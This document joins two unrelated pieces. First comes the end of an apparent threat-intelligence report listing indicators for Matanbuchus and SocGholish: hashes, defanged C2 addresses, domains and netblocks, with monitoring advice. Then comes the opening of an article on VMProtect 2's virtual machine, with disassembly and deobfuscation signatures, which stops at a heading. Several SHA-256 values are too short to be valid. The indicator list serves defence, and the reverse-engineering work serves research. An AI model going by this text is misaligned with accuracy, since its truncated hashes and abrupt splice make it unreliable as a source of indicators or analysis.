| Value | Type | Description |
| --- | --- | --- |
| 1f152aca7ccc6b207e111bd8dcae7986b0678bf2a18a | SHA-256 | “AC-7-march_2024#2849.xlsx” - Xlsx |
| a827b521ca9d68dea931c66e705f800b30f591505be1c429c2e01b7851eb60b | SHA-256 | “Open_Document.PDF.js” - JS |
| da14767d9d871151822e5 | SHA-256 | “50.png” – Matanbuchus - DLL |
| 84bea72caa9bc36bd98baa0687832273122eb77be11e11a34bc40f533e38bbb | SHA-256 | “useraccount.aspx” - Matanbuchus - DLL |
| 0b0eddcb3d4378680ffd3ea0fa4fd2560543487efd19 | SHA-256 | SocGholish redirector - JS |
| 51583ec58fb2c3743f12 | SHA-256 | SocGholish first stage - “stat.js” |
| 9e5dfe2eb516c76c543da | SHA-256 | SocGholish first stage – “theme.js” |
| e68d39d6fc16025cf6 | SHA-256 | SocGholish second stage - “Update.js” |
| 147.45.47[.]87 | IPv4-Addr | Hosting SocGholish JS - “theme.js” |
| 162.33.177[.]118 | IPv4-Addr | Hosting SocGholish JS – “theme.js” |
| 185.11.61[.]169 | IPv4-Addr | Matanbuchus - C2 |
| 185.11.61[.]170 | IPv4-Addr | Matanbuchus - C2 |
| 185.11.61[.]171 | IPv4-Addr | Matanbuchus - C2 |
| 185.11.61[.]172 | IPv4-Addr | Matanbuchus - C2 |
| 193.143.1[.]196 | IPv4-Addr | Matanbuchus - C2 |
| 193.143.1[.]197 | IPv4-Addr | Matanbuchus - C2 |
| 193.143.1[.]198 | IPv4-Addr | Matanbuchus - C2 |
| 193.143.1[.]207 | IPv4-Addr | Matanbuchus - C2 |
| 5.252.177[.]213 | IPv4-Addr | Samba server hosting the JS |
| 988skins[.]com | Domain-Name | Domain hosting DLL |
| selevkis[.]app | Domain-Name | Matanbuchus - C2 |
| muagol[.]com | Domain-Name | Matanbuchus - C2 |
| gulappa[.]app | Domain-Name | Matanbuchus - C2 |
| dumingas[.]com | Domain-Name | Domain hosting DLL |
| iseberkis[.]com | Domain-Name | Domain hosting DLL |
| redviking[.]com | Domain-Name | Infected with SocGholish |
| mavrin-occentus[.]net | Domain-Name | Redirector for SocGholish |
| binder-sa[.]com | Domain-Name | Redirector for SocGholish |
| aitcaid[.]com | Domain-Name | Redirector for SocGholish |
| pluralism.themancav[.]com | Domain-Name | Hosting SocGholish JS |
| welcome.visionaryyouth[.]org | Domain-Name | Hosting SocGholish JS |
| trademark.iglesiaelarca[.]com | Domain-Name | Hosting SocGholish JS |
| iseberkis[.]com:62478/medical/plan/oslo/posting/index.php | URL | Matanbuchus - C2 |
| somakop[.]app:62478/medical/plan/oslo/posting/index.php | URL | Matanbuchus - C2 |
| musarno[.]app:62478/medical/plan/oslo/posting/index.php | URL | Matanbuchus - C2 |
| 198953 | ASN | Proton66 OOO |
| 193.143.1[.]0/24 | IPv4-Addr | Netblock owned by AS198953 |
| 45.134.26[.]0/24 | IPv4-Addr | Netblock owned by AS198953 |
| 45.135.232[.]0/24 | IPv4-Addr | Netblock owned by AS198953 |
| 45.140.17[.]0/24 | IPv4-Addr | Netblock owned by AS198953 |
| 91.212.166[.]0/24 | IPv4-Addr | Netblock owned by AS198953 |
| 57523 | ASN | Chang Way Technologies Co. Limited |
| 176.111.174[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 185.11.61[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 185.122.204[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 185.198.69[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 185.234.216[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 185.81.68[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 188.119.66[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 194.26.135[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 45.93.20[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 62.122.184[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 85.209.11[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 87.247.158[.]0/23 | IPv4-Addr | Netblock owned by AS57523 |
| 91.240.118[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 91.241.19[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 152.89.198[.]0/24 | IPv4-Addr | Netblock owned by AS57523 |
| 49943 | ASN | IT Resheniya LLC |
| 194.32.236[.]0/24 | IPv4-Addr | Netblock owned by AS49943 |
| 213.226.123[.]0/24 | IPv4-Addr | Netblock owned by AS49943 |
| 5.42.199[.]0/24 | IPv4-Addr | Netblock owned by AS49943 |
| 91.213.50[.]0/24 | IPv4-Addr | Netblock owned by AS49943 |
| treasurybanks[.]org | Domain-Name | Google Ad site |
| bologna.sunproject[.]dev | Domain-Name | Hosting the decoy PDF |
| rome.sunproject[.]dev | Domain-Name | Hosting the MSI |
| florence.sunproject[.]dev | Domain-Name | Pivot from the IP |
| venice.sunproject[.]dev | Domain-Name | Pivot from the IP |
| sunproject[.]dev | Domain-Name | Pivot from the IP |
| turin.sunproject[.]dev | Domain-Name | Pivot from the IP |
| sweetapp[.]page | Domain-Name | Hosting the Matanbuchus DLL |
### 2. Recommendations
- Monitor all traffic from/to any IP address belonging to above-mentioned autonomous systems and the other IOCs.
- Sigma Rules for the execution of the Control Panel Living Off the Land binary.
### 3. Sources
- Twitter
- GitHub
- Research articles
- Medium
- SANS Institute
- KrebsonSecurity
- Proofpoint
- Embee Research
**© Intrinsec**
**TLP: CLEAR** |
# VMProtect 2 - Detailed Analysis of the Virtual Machine Architecture
**Author(s):** _xeroxz
**Date:** May 17, 2021
**Read Time:** 68 min
**Tags:** VMProtect-2, Obfuscation
## Credit - Links to Existing Work
### Preamble - Intentions and Purpose
Before diving into this post, I would like to state a few things regarding existing VMProtect 2 work, the purpose of this article, and my intentions, as these seem to become misconstrued and distorted at times.
### Purpose
Although there has been a lot of research already conducted on VMProtect 2, I feel that there is still information which has not been discussed publicly nor enough source code disclosed to the public. The information I am disclosing in this article aims to go beyond generic architectural analysis but much lower. The level in which one could encode their own virtual machine instructions given a VMProtect’ed binary as well as intercept and alter results of virtual instructions with ease. The dynamic analysis discussed in this article is based upon existing work by Samuel Chevet; my dynamic analysis research and vmtracer project is simply an expansion upon his work demonstrated in his presentation “Inside VMProtect”.
### Intentions
This post is not intending to cast any negative views upon VMProtect 2, the creator(s) of said software, or anyone who uses it. I admire the creator(s) who clearly have impressive skills to create such a product. This post has also been created under the impression that everything discussed here has most likely been discovered by private entities, and that I am not the first to find or document such things about the VMProtect 2 architecture. I am not intending to present this information as though it is groundbreaking or something that no one else has already discovered; quite the opposite. This is simply a collection of existing information appended with my own research.
This being said, I humbly present to you, “VMProtect 2, Detailed Analysis of the Virtual Machine Architecture”.
## Terminology
- **VIP** - Virtual Instruction Pointer, equivalent to the x86-64 RIP register which contains the address of the next instruction to be executed. VMProtect 2 uses the native register RSI to hold the address of the next virtual instruction pointer. Thus, RSI is equivalent to VIP.
- **VSP** - Virtual Stack Pointer, equivalent to the x86-64 RSP register which contains the address of the stack. VMProtect 2 uses the native register RBP to hold the address of the virtual stack pointer. Thus, RBP is equivalent to VSP.
- **VM Handler** - A routine which contains the native code to execute a virtual instruction. For example, the VADD64 instruction adds two values on the stack together and stores the result as well as RFLAGS on the stack.
- **Virtual Instruction** - Also known as “virtual bytecode,” is the bytes interpreted by the virtual machine and subsequently executed. Each virtual instruction is composed of at least one or more operands. The first operand contains the opcode for the instruction.
- **Virtual Opcode** - The first operand of every virtual instruction. This is the VM handler index. The size of a VMProtect 2 opcode is always one byte.
- **IMM / Immediate Value** - A value encoded into a virtual instruction by which operations are to happen upon, such as loading said value onto the stack or into a virtual register. Virtual instructions such as LREG, SREG, and LCONST all have immediate values.
- **Transformations** - The term “transform” used throughout this post refers specifically to operations done to decrypt operands of virtual instructions and VM handler table entries. These transformations consist of add, sub, inc, dec, not, neg, shl, shr, ror, rol, and lastly BSWAP. Transformations are done with sizes of 1, 2, 4, and 8 bytes. Transformations can also have immediate/constant values associated with them such as “xor rax, 0x123456”, or “add rax, 0x123456”.
## Introduction
VMProtect 2 is a virtual machine-based x86 obfuscator which converts x86 instructions to a RISC, stack machine, instruction set. Each protected binary has a unique set of encrypted virtual machine instructions with unique obfuscation. This project aims to disclose very significant signatures which are in every single VMProtect 2 binary with the intent to aid in further research. This article will also briefly discuss different types of VMProtect 2 obfuscation. All techniques to deobfuscate are tailored specifically to virtual machine routines and will not work on generally obfuscated routines, specifically routines which have real JCC’s in them.
### Obfuscation - Deadstore, Opaque Branching
VMProtect 2 uses two types of obfuscation for the most part, the first being deadstore, and the second being opaque branching. Throughout obfuscated routines, you can see a few instructions followed by a JCC, then another set of instructions followed by another JCC. Another contributing part of opaque branching is random instructions which affect the FLAGS register. You can see these little buggers everywhere. They are mostly bit test instructions, useless compares, as well as set/clear flags instructions.
#### Opaque Branching Obfuscation Example
In this opaque branching obfuscation example, I will go over what VMProtect 2 opaque branching looks like, other factors such as the state of RFLAGS, and most importantly how to determine if you are looking at an opaque branch or a legitimate JCC.
```
.vmp0:00000001400073B4 D0 C8 ror al, 1
.vmp0:00000001400073B6 0F CA bswap edx
.vmp0:00000001400073B8 66 0F CA bswap dx
.vmp0:00000001400073BB 66 0F BE D2 movsx dx, dl
.vmp0:00000001400073BF 48 FF C6 inc rsi
.vmp0:00000001400073C2 48 0F BA FA 0F btc rdx, 0Fh
.vmp0:00000001400073C7 F6 D8 neg al
.vmp0:00000001400073C9 0F 81 6F D0 FF FF jno loc_14000443E
.vmp0:00000001400073CF 66 C1 FA 04 sar dx, 4
.vmp0:00000001400073D3 81 EA EC 94 CD 47 sub edx, 47CD94ECh
.vmp0:00000001400073D9 28 C3 sub bl, al
.vmp0:00000001400073DB D2 F6 sal dh, cl
.vmp0:00000001400073DD 66 0F BA F2 0E btr dx, 0Eh
.vmp0:00000001400073E2 8B 14 38 mov edx, [rax+rdi]
```
Consider the above obfuscated code. Notice the JNO branch. If you follow this branch in IDA and compare the instructions against the instructions after the JNO, you can see that the branch is useless as both paths execute the same meaningful instructions.
```
loc_14000443E:
.vmp0:000000014000443E F5 cmc
.vmp0:000000014000443F 0F B3 CA btr edx, ecx
.vmp0:0000000140004442 0F BE D3 movsx edx, bl
.vmp0:0000000140004445 66 21 F2 and dx, si
.vmp0:0000000140004448 28 C3 sub bl, al
.vmp0:000000014000444A 48 81 FA 38 04 AA 4E cmp rdx, 4EAA0438h
.vmp0:0000000140004451 48 8D 90 90 50 F5 BB lea rdx, [rax-440AAF70h]
.vmp0:0000000140004458 D2 F2 sal dl, cl
.vmp0:000000014000445A D2 C2 rol dl, cl
.vmp0:000000014000445C 8B 14 38 mov edx, [rax+rdi]
```
If you look close enough, you can see that there are a few instructions which are in both branches. It can be difficult to determine what code is deadstore and what code is required; however, if you select a register in IDA and look at all the places it is written to prior to the instruction you are looking at, you can remove all of those other writing instructions up until there is a read of said register.
Now, back to the example, in this case, the following instructions are what matter:
```
.vmp0:0000000140004448 28 C3 sub bl, al
.vmp0:000000014000445C 8B 14 38 mov edx, [rax+rdi]
```
Generation of these opaque branches makes it so there are duplicate instructions. For each code path, there is also more deadstore obfuscation as well as opaque conditions and other instructions that affect RFLAGS.
#### Deadstore Obfuscation Example
VMProtect 2 deadstore obfuscation adds the most junk to the instruction stream aside from opaque bit tests and comparisons. These instructions serve no purpose and can be spotted and removed by hand with ease. Consider the following:
```
.vmp0:0000000140004149 66 D3 D7 rcl di, cl
.vmp0:000000014000414C 58 pop rax
.vmp0:000000014000414D 66 41 0F A4 DB 01 shld r11w, bx, 1
.vmp0:0000000140004153 41 5B pop r11
.vmp0:0000000140004155 80 E6 CA and dh, 0CAh
.vmp0:0000000140004158 66 F7 D7 not di
.vmp0:000000014000415B 5F pop rdi
.vmp0:000000014000415C 66 41 C1 C1 0C rol r9w, 0Ch
.vmp0:0000000140004161 F9 stc
.vmp0:0000000140004162 41 58 pop r8
.vmp0:0000000140004164 F5 cmc
.vmp0:0000000140004165 F8 clc
.vmp0:0000000140004166 66 41 C1 E1 0B shl r9w, 0Bh
.vmp0:000000014000416B 5A pop rdx
.vmp0:000000014000416C 66 81 F9 EB D2 cmp cx, 0D2EBh
.vmp0:0000000140004171 48 0F A3 F1 bt rcx, rsi
.vmp0:0000000140004175 41 59 pop r9
.vmp0:0000000140004177 66 41 21 E2 and r10w, sp
.vmp0:000000014000417B 41 C1 D2 10 rcl r10d, 10h
.vmp0:000000014000417F 41 5A pop r10
.vmp0:0000000140004181 66 0F BA F9 0C btc cx, 0Ch
.vmp0:0000000140004186 49 0F CC bswap r12
.vmp0:0000000140004189 48 3D 97 74 7D C7 cmp rax, 0FFFFFFFFC77D7497h
.vmp0:000000014000418F 41 5C pop r12
.vmp0:0000000140004191 66 D3 C1 rol cx, cl
.vmp0:0000000140004194 F5 cmc
.vmp0:0000000140004195 66 0F BA F5 01 btr bp, 1
.vmp0:000000014000419A 66 41 D3 FE sar r14w, cl
.vmp0:000000014000419E 5D pop rbp
.vmp0:000000014000419F 66 41 29 F6 sub r14w, si
.vmp0:00000001400041A3 66 09 F6 or si, si
.vmp0:00000001400041A6 01 C6 add esi, eax
.vmp0:00000001400041A8 66 0F C1 CE xadd si, cx
.vmp0:00000001400041AC 9D popfq
.vmp0:00000001400041AD 0F 9F C1 setnle cl
.vmp0:00000001400041B0 0F 9E C1 setle cl
.vmp0:00000001400041B3 4C 0F BE F0 movsx r14, al
.vmp0:00000001400041B7 59 pop rcx
.vmp0:00000001400041B8 F7 D1 not ecx
.vmp0:00000001400041BA 59 pop rcx
.vmp0:00000001400041BB 4C 8D A8 ED 19 28 C9 lea r13, [rax-36D7E613h]
.vmp0:00000001400041C2 66 F7 D6 not si
.vmp0:00000001400041CB 41 5E pop r14
.vmp0:00000001400041CD 66 F7 D6 not si
.vmp0:00000001400041D0 66 44 0F BE EA movsx r13w, dl
.vmp0:00000001400041D5 41 BD B2 6B 48 B7 mov r13d, 0B7486BB2h
.vmp0:00000001400041DB 5E pop rsi
.vmp0:00000001400041DC 66 41 BD CA 44 mov r13w, 44CAh
.vmp0:0000000140007AEA 4C 8D AB 31 11 63 14 lea r13, [rbx+14631131h]
.vmp0:0000000140007AF1 41 0F CD bswap r13d
.vmp0:0000000140007AF4 41 5D pop r13
.vmp0:0000000140007AF6 C3 retn
```
Let’s start from the top, one instruction at a time. The first instruction at 0x140004149 is “RCL - Rotate Left Carry”. This instruction affects the FLAGS register as well as DI. Let's see the next time DI is referenced. Is it a read or a write? The next reference to DI is the NOT instruction at 0x140004158. NOT reads and writes DI, so far both instructions are valid. The next instruction that references DI is the POP instruction. This is critical as all writes to RDI prior to this POP can be removed from the instruction stream.
```
.vmp0:000000014000414C 58 pop rax
.vmp0:000000014000414D 66 41 0F A4 DB 01 shld r11w, bx, 1
.vmp0:0000000140004153 41 5B pop r11
.vmp0:0000000140004155 80 E6 CA and dh, 0CAh
.vmp0:000000014000415B 5F pop rdi
```
The next instruction is POP RAX at 0x14000414C. RAX is never written to throughout the entire instruction stream; it is only read from. Since it has a read dependency, this instruction cannot be removed. Moving onto the next instruction, SHLD - double precision shift left, a write dependency on R11, read dependency on BX. The next instruction that references R11 is the POP R11 at 0x140004153. We can remove the SHLD instruction as it is deadstore.
```
.vmp0:000000014000414C 58 pop rax
.vmp0:0000000140004153 41 5B pop r11
.vmp0:0000000140004155 80 E6 CA and dh, 0CAh
.vmp0:000000014000415B 5F pop rdi
```
Now just repeat the process for every single instruction. The end result should look something like this:
```
.vmp0:000000014000414C 58 pop rax
.vmp0:0000000140004153 41 5B pop r11
.vmp0:000000014000415B 5F pop rdi
.vmp0:0000000140004162 41 58 pop r8
.vmp0:000000014000416B 5A pop rdx
.vmp0:0000000140004175 41 59 pop r9
.vmp0:000000014000417F 41 5A pop r10
.vmp0:000000014000418F 41 5C pop r12
.vmp0:000000014000419E 5D pop rbp
.vmp0:00000001400041AC 9D popfq
.vmp0:00000001400041B7 59 pop rcx
.vmp0:00000001400041B7 59 pop rcx
.vmp0:00000001400041CB 41 5E pop r14
.vmp0:00000001400041DB 5E pop rsi
.vmp0:0000000140007AF4 41 5D pop r13
.vmp0:0000000140007AF6 C3 retn
```
This method is not perfect for removing deadstore obfuscation as there is a second POP RCX which is missing from this result above. POP and PUSH instructions are special cases which should not be emitted from the instruction stream as these instructions also change RSP. This method for removing deadstore is also only applied to vm_entry and vm handlers. This cannot be applied to generically obfuscated routines as-is. Again, this method is NOT going to work on any obfuscated routine; it’s specifically tailored for vm_entry and vm handlers as these routines have no legitimate JCC’s in them.
## Overview - VMProtect 2 Virtual Machine
Virtual instructions are decrypted and interpreted by virtual instruction handlers referred to as “vm handlers”. The virtual machine is a RISC-based stack machine with scratch registers. Prior to vm-entries, an encrypted RVA (relative virtual address) to virtual instructions is pushed onto the stack and all general-purpose registers as well as flags are pushed onto the stack. The VIP is decrypted, calculated, and loaded into RSI. A rolling decryption key is then started in RBX and is used to decrypt every single operand of every single virtual instruction. The rolling decryption key is updated by transforming it with the decrypted operand value.
### Rolling Decryption
VMProtect 2 uses a rolling decryption key. This key is used to decrypt virtual instruction operands, which subsequently prevents any sort of hooking, as if any virtual instructions are executed out of order, the rolling decryption key will become invalid causing further decryption of virtual operands to be invalid.
### Native Register Usage
During execution inside of the virtual machine, some native registers are dedicated for the virtual machine mechanisms such as the virtual instruction pointer and virtual stack. In this section, I will be discussing these native registers and their uses for the virtual machine.
#### Non-Volatile Registers - Registers With Specific Usage
To begin, RSI is always used for the virtual instruction pointer. Operands are fetched from the address stored in RSI. The initial value loaded into RSI is done by vm_entry. RBP is used for the virtual stack pointer; the address stored in RBP is actually the native stack memory. RBP is loaded with RSP prior to allocation of scratch registers. This brings us to RDI which contains scratch registers. The address in RDI is initialized as well in vm_entry and is set to an address landing inside of the native stack. R12 is loaded with the linear virtual address of the vm handler table. This is done inside of vm_entry and throughout the entire duration of execution inside of the virtual machine, R12 will contain this address. R13 is loaded with the linear virtual address of the module base address inside of vm_entry and is not altered throughout execution inside of the virtual machine. RBX is a very special register which contains the rolling decryption key. After every decryption of every operand of every virtual instruction, RBX is updated by applying a transformation to it with the decrypted operand’s value.
#### Volatile Registers - Temp Registers
RAX, RCX, and RDX are used as temporary registers inside of the virtual machine; however, RAX is used for very specific temporary operations over the other registers. RAX is used to decrypt operands of virtual instructions; AL specifically is used when decrypting the opcode of a virtual instruction.
## vm_entry - Entering The Virtual Machine
vm_entry is a very significant component of the virtual machine architecture. Prior to entering the VM, an encrypted RVA to virtual instructions is pushed onto the stack. This RVA is a four-byte value.
```
.vmp0:000000014000822C 68 FA 01 00 89 push 0FFFFFFFF890001FAh
```
After this value is pushed onto the stack, a jmp is then executed to start executing vm_entry. vm_entry is subjected to obfuscation which I explained in great detail above. By flattening and then removing deadstore code, we can get a nice clean view of vm_entry.
```
> 0x822c : push 0xFFFFFFFF890001FA
> 0x7fc9 : push 0x45D3BF1F
> 0x48e4 : push r13
> 0x4690 : push rsi
> 0x4e53 : push r14
> 0x74fb : push rcx
> 0x607c : push rsp
> 0x4926 : pushfq
> 0x4dc2 : push rbp
> 0x5c8c : push r12
> 0x52ac : push r10
> 0x51a5 : push r9
> 0x5189 : push rdx
> 0x7d5f : push r8
> 0x4505 : push rdi
> 0x4745 : push r11
> 0x478b : push rax
> 0x7a53 : push rbx
> 0x500d : push r15
> 0x6030 : push [0x00000000000018E2]
> 0x593a : mov rax, 0x7FF634270000
> 0x5955 : mov r13, rax
> 0x5965 : push rax
> 0x596f : mov esi, [rsp+0xA0]
> 0x5979 : not esi
> 0x5985 : neg esi
> 0x598d : ror esi, 0x1A
> 0x599e : mov rbp, rsp
> 0x59a8 : sub rsp, 0x140
> 0x59b5 : and rsp, 0xFFFFFFFFFFFFFFF0
> 0x59c1 : mov rdi, rsp
> 0x59cb : lea r12, [0x0000000000000AA8]
> 0x59df : mov rax, 0x100000000
> 0x59ec : add rsi, rax
> 0x59f3 : mov rbx, rsi
> 0x59fa : add rsi, [rbp]
> 0x5a05 : mov al, [rsi]
> 0x5a0a : xor al, bl
> 0x5a11 : neg al
> 0x5a19 : rol al, 0x05
> 0x5a26 : inc al
> 0x5a2f : xor bl, al
> 0x5a34 : movzx rax, al
> 0x5a41 : mov rdx, [r12+rax*8]
> 0x5a49 : xor rdx, 0x7F3D2149
> 0x5507 : inc rsi
> 0x7951 : add rdx, r13
> 0x7954 : jmp rdx
```
As expected, all registers as well as RFLAGS are pushed to the stack. The last push puts eight bytes of zeros on the stack, not a relocation which I first expected. The ordering in which these pushes happen are unique per-build; however, the last push of eight zeros is always the same throughout all binaries. This is a very stable signature to determine when the end of general register pushes is done. Below are the exact sequences of instructions I am referring to in this paragraph.
```
> 0x48e4 : push r13
> 0x4690 : push rsi
> 0x4e53 : push r14
> 0x74fb : push rcx
> 0x607c : push rsp
> 0x4926 : pushfq
> 0x4dc2 : push rbp
> 0x5c8c : push r12
> 0x52ac : push r10
> 0x51a5 : push r9
> 0x5189 : push rdx
> 0x7d5f : push r8
> 0x4505 : push rdi
> 0x4745 : push r11
> 0x478b : push rax
> 0x7a53 : push rbx
> 0x500d : push r15
> 0x6030 : push [0x00000000000018E2] ; pushes 0’s
```
After all registers and RFLAGS are pushed onto the stack, the base address of the module is loaded into R13. This happens in every single binary; R13 always contains the base address of the module during execution of the VM. The base address of the module is also pushed onto the stack.
```
> 0x593a : mov rax, 0x7FF634270000
> 0x5955 : mov r13, rax
> 0x5965 : push rax
```
Next, the relative virtual address of the desired virtual instructions to be executed is decrypted. This is done by loading the 32-bit RVA into ESI from RSP+0xA0. This is a very significant signature and can be found trivially. Three transformations are then applied to ESI to get the decrypted RVA of the virtual instructions. The three transformations are unique per-binary. However, there are always three transformations.
```
> 0x596f : mov esi, [rsp+0xA0]
> 0x5979 : not esi
> 0x5985 : neg esi
> 0x598d : ror esi, 0x1A
```
Furthermore, the next notable operation that occurs is space allocated on the stack for scratch registers. RSP is always moved to RBP, then RSP is subtracted by 0x140. Then aligned by 16 bytes. After this is done, the address is moved into RDI. During the execution of the VM, RDI always contains a pointer to scratch registers.
```
> 0x599e : mov rbp, rsp
> 0x59a8 : sub rsp, 0x140
> 0x59b5 : and rsp, 0xFFFFFFFFFFFFFFF0
> 0x59c1 : mov rdi, rsp
```
The next notable operation is loading the address of the vm handler table into R12. This is done on every single VMProtect 2 binary. R12 always contains the linear virtual address of the vm handler table. This is yet another significant signature which can be used to find the location of the vm handler table quite trivially.
```
> 0x59cb : lea r12, [0x0000000000000AA8]
```
Another operation is then done on RSI to calculate VIP. Inside of the PE headers, there is a header called the “optional header.” This contains an assortment of information. One of the fields is called “ImageBase.” If there are any bits above 32 in this field, those bits are then added to RSI. For example, vmptest.vmp.exe ImageBase field contains the value 0x140000000. Thus, 0x100000000 is added to RSI as part of the calculation. If an ImageBase field contains less than a 32-bit value, zero is added to RSI.
```
> 0x59df : mov rax, 0x100000000
> 0x59ec : add rsi, rax
```
After this addition is done to RSI, a small and somewhat insignificant instruction is executed. This instruction loads the linear virtual address of the virtual instructions into RBX. Now, RBX has a very special purpose; it contains the “rolling decryption” key. As you can see, the first value loaded into RBX is going to be the address of the virtual instructions themselves! Not the linear virtual address but just the RVA including the top 32 bits of the ImageBase field.
```
> 0x59f3 : mov rbx, rsi
```
Next, the base address of the vmp module is added to RSI, computing the full, linear virtual address of the virtual instructions. Remember that RBP contains the address of RSP prior to the allocation of scratch space. The base address of the module is on the top of the stack at this point.
```
> 0x59fa : add rsi, [rbp]
```
This concludes the details for vm_entry; the next part of this routine is actually referred to as “calc_vm_handler” and is executed after every single virtual instruction besides the vm_exit instruction.
### calc_jmp - Decryption Of Vm Handler Index
calc_jmp is part of the vm_entry routine; however, it’s referred to by more than just the vm_entry routine. Every single vm handler will eventually jump to calc_jmp (besides vm_exit). This snippet of code is responsible for decrypting the opcode of every virtual instruction as well as indexing into the vm handler table, decrypting the vm handler table entry and jumping to the resulting vm handler.
```
> 0x5a05 : mov al, [rsi]
> 0x5a0a : xor al, bl
> 0x5a11 : neg al
> 0x5a19 : rol al, 0x05
> 0x5a26 : inc al
> 0x5a2f : xor bl, al
> 0x5a34 : movzx rax, al
> 0x5a41 : mov rdx, [r12+rax*8]
> 0x5a49 : xor rdx, 0x7F3D2149
> 0x5507 : inc rsi
> 0x7951 : add rdx, r13
> 0x7954 : jmp rdx
```
The first instruction of this snippet of code reads a single byte out of RSI which, as you know, is VIP. This byte is an encrypted opcode. In other words, it’s an encrypted index into the vm handler table. There are five total transformations which are done. The first transformation is always applied to the encrypted opcode and the value in RBX as the source. This is the “rolling encryption” at play. It’s important to note that the first value loaded into RBX is the RVA to the virtual instructions. Thus, BL will contain the last byte of this RVA.
```
> 0x5a05 : mov al, [rsi]
> 0x5a2f : xor bl, al ; transformation is unique to each build
```
Next, three transformations are applied to AL directly. These transformations can have immediate values; however, there is never another register’s value added into these transformations.
```
> 0x5a11 : neg al
> 0x5a19 : rol al, 0x05
> 0x5a26 : inc al
```
The last transformation is applied to the rolling encryption key stored in RBX. This transformation is the same transformation as the first. However, the registers swap places. The end result is the decrypted vm handler index. The value of AL is then zero-extended to the rest of RAX.
```
> 0x5a2f : xor bl, al
> 0x5a34 : movzx rax, al
```
Now that the index into the vm handler table has been decrypted, the vm handler entry itself must be fetched and decrypted. There is only a single transformation applied to these vm handler table entries. No register values are ever used in these transformations. The register in which the encrypted vm table entry value is loaded into is always RCX or RDX.
```
> 0x5a41 : mov rdx, [r12+rax*8]
> 0x5a49 : xor rdx, 0x7F3D2149
```
VIP is now advanced. VIP can be advanced either forward or backwards, and the advancement operation itself can be an LEA, INC, DEC, ADD, or SUB instruction.
```
> 0x5507 : inc rsi
```
Lastly, the base address of the module is added to the decrypted vm handler RVA, and a JMP is then executed to start executing this vm handler routine. Again, RDX or RCX is always used for this ADD and JMP. This is another significant signature in the virtual machine.
```
> 0x7951 : add rdx, r13
> 0x7954 : jmp rdx
```
This concludes the calc_jmp code snippet specifications. As you can see, there are some very significant signatures which can be found trivially using Zydis. Especially the decryption done on vm handler table entries, and fetching these encrypted values.
## vm_exit - Leaving The Virtual Machine
Unlike vm_entry, vm_exit is quite a straightforward routine. This routine simply POP’s all registers back into place including RFLAGS. There are some redundant POP’s which are used to clear the module base, padding, as well as RSP off of the stack since they are not needed. The order in which the pops occur is the inverse of the order in which they are pushed onto the stack by vm_entry. The return address is calculated and loaded onto the stack prior to the vm_exit routine.
```
.vmp0:000000014000635F 48 89 EC mov rsp, rbp
.vmp0:0000000140006371 58 pop rax ; pop module base off the stack
.vmp0:000000014000637F 5B pop rbx ; pop zero’s off the stack
.vmp0:0000000140006387 41 5F pop r15
.vmp0:0000000140006393 5B pop rbx
.vmp0:000000014000414C 58 pop rax
.vmp0:0000000140004153 41 5B pop r11
.vmp0:000000014000415B 5F pop rdi
.vmp0:0000000140004162 41 58 pop r8
.vmp0:000000014000416B 5A pop rdx
.vmp0:0000000140004175 41 59 pop r9
.vmp0:000000014000417F 41 5A pop r10
.vmp0:000000014000418F 41 5C pop r12
.vmp0:000000014000419E 5D pop rbp
.vmp0:00000001400041AC 9D popfq
.vmp0:00000001400041B7 59 pop rcx ; pop RSP off the stack
.vmp0:00000001400041B7 59 pop rcx
.vmp0:00000001400041CB 41 5E pop r14
.vmp0:00000001400041DB 5E pop rsi
.vmp0:0000000140007AF4 41 5D pop r13
.vmp0:0000000140007AF6 C3 retn
```
### check_vsp - Relocate Scratch Registers
VM handlers which put any new values on the stack will have a stack check after the vm handler executes. This routine checks to see if the stack is encroaching upon the scratch registers.
```
.vmp0:00000001400044AA 48 8D 87 E0 00 00 00 lea rax, [rdi+0E0h]
.vmp0:00000001400044B2 48 39 C5 cmp rbp, rax
.vmp0:000000014000429D 0F 87 5B 17 00 00 ja calc_jmp
.vmp0:00000001400042AC 48 89 E2 mov rdx, rsp
.vmp0:0000000140005E5F 48 8D 8F C0 00 00 00 lea rcx, [rdi+0C0h]
.vmp0:0000000140005E75 48 29 D1 sub rcx, rdx
.vmp0:000000014000464C 48 8D 45 80 lea rax, [rbp-80h]
.vmp0:0000000140004655 24 F0 and al, 0F0h
.vmp0:000000014000465F 48 29 C8 sub rax, rcx
.vmp0:000000014000466B 48 89 C4 mov rsp, rax
.vmp0:0000000140004672 9C pushfq
.vmp0:000000014000467C 56 push rsi
.vmp0:0000000140004685 48 89 D6 mov rsi, rdx
.vmp0:00000001400057D6 48 8D BC 01 40 FF FF FF lea rdi, [rcx+rax-0C0h]
.vmp0:00000001400051FC 57 push rdi
.vmp0:000000014000520C 48 89 C7 mov rdi, rax
.vmp0:0000000140004A34 F3 A4 rep movsb
.vmp0:0000000140004A3E 5F pop rdi
.vmp0:0000000140004A42 5E pop rsi
.vmp0:0000000140004A48 9D popfq
.vmp0:0000000140004A49 E9 B0 0F 00 00 jmp calc_jmp
```
Note the usage of “movsb” which is used to copy the contents of the scratch registers.
## Virtual Instructions - Opcodes, Operands, Specifications
Virtual instructions consist of two or more operands. The first operand being the opcode of the virtual instruction. Opcodes are 8-bit, unsigned values which when decrypted are the index into the vm handler table. There can be a second operand which is a one to eight-byte immediate value.
All operands are encrypted and must be decrypted with the rolling decrypt key. Decryption is done inside of calc_jmp as well as vm handlers themselves. Vm handlers that do decryption will be operating on immediate values only and not an opcode.
### Operand Decryption - Transformations
